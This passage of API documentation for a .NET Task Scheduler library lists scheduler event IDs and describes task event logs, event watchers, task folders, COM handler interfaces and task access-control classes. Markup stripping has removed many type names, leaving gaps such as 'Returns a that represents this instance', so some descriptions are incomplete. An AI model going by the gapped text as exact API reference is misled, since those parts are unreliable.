detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor 